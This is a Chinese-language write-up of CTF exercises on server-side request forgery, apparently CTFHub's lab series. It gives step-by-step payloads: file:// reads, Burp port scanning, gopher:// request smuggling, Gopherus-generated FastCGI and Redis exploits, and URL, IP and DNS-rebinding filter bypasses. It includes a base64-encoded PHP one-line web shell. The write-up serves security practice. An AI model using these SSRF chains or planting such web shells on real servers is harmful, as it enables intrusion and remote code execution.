一.内容访问
开启环境
访问后,url=后添加如下,得到flag
http://127.0.0.1/flag.php
二.伪协议读取文件
开启环境
访问后,url=后添加如下(file协议加路径读取文件),查看页面源代码得到flag
file:///var/www/html/flag.php
三.端口扫描
开启环境
由题目得该题端口范围为8000-9000,故url=拼接如下,查看
127.0.0.1:8000
使用BP抓包,发送到攻击模块,使用狙击手,添加8000为payload
来到payload,将类型设定为数值,范围为8000-9000,开始攻击
将攻击结果长度排序,发现不一样的长度,查看响应后得到flag
四.POST请求
开启环境
访问后,url=后拼接如下,查看页面源代码,得到一个key
127.0.0.1/flag.php
回到原网站,输入key,回车使用BP抓包
将包中数据复制后进行url编码,将编码得到的内容放入文件夹,将%0A替换为%0D%0A,并且再文本内容最后加上%0D%0A,意为结束
将替换完成的内容,再进行url编码
访问环境,在url=后面添加,然后将编码内容添加如下内容后面访问,得到flag
gopher://127.0.0.1:80/_
五.上传文件
开启环境
访问环境,url=后添加如下,访问,发现有选择文件按钮
http://127.0.0.1/flag.php
f12,在查看器中编辑html,添加以下语句以添加提交按钮
<input type="submit" name="submit">
随便提交一个短的文件提交使用BP抓包,我此处提交一个内容为123的txt文件
将多余内容去除,发现包中含有汉字乱码,长度(Content-Length)可能有问题
将包发送到重放器,将Host后改为127.0.0.1:80,将原来的乱码删除,随便打两个汉字,发送以刷新长度
将包中内容复制,进行url编码
还是将编码后内容复制到txt文本中,将%0A替换为%0D%0A,并且再文本内容最后加上%0D%0A,意为结束
再将替换过后的文本内容进行二次url编码
访问环境,在url=后面添加,然后将编码内容添加如下内容后面访问,得到flag
gopher://127.0.0.1:80/_
六.FastCGI协议
打开环境
写一句话木马,进行base64编码
打开虚拟机kali,使用Gopherus工具生成payload
(工具下载地址:github.com/tarunkant/Gopherus.git)
依次执行命令
python2 gopherus.py --exploit fastcgi
工具让我们给一个.php结尾的文件,输入环境默认php文件地址
/var/www/html/index.php
工具让给一个命令,写入生成一句话木马的指令,内容为之前base64编码内容,生成一个php文件
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php
得到payload
将生成的payload进行url编码
访问环境,将编码后内容添加在url=后访问,这时环境内就生成了一句话木马
使用蚁剑测试连接
连接后,在根目录下找到flag文件,打开后找到flag
七.Redis协议
打开环境
这题与上题类似,来到虚拟你使用工具输入,将fastcgi换为redis,最后得到payload
将payload进行url编码
访问环境,将编码后内容添加在url=后访问,这时环境内就生成了一句话木马(此次我传入木马为get形式传参,使用post也可以,步骤和上题一样)
访问木马文件,进行逐步查询,得到flag文件名后,查看,得到flag
八.URL Bypass
开启环境
此题为URL中必须包含http://notfound.ctfhub.com,访问环境后,在url=后添加如下,使用@符号将题目所必须的地址与我们要访问的地址隔开,@前的内容会忽略,得到flag
http://notfound.ctfhub.com@127.0.0.1/flag.php
九.数字IP Bypass
开启环境
此题不能使用127.0.0.1,可以使用localhost代替,或者使用进制替换(此次使用localhost)
十.302跳转 Bypass
开启环境
此题与上题过程相同
十一.DNS重绑定
开启环境
方法一
同前两题一样
方法二
来到辅助网站lock.cmpxchg8b.com/rebinder.html
输入127.0.0.1-127.0.0.2,得到
将得到的内容代替127.0.0.1,得到flag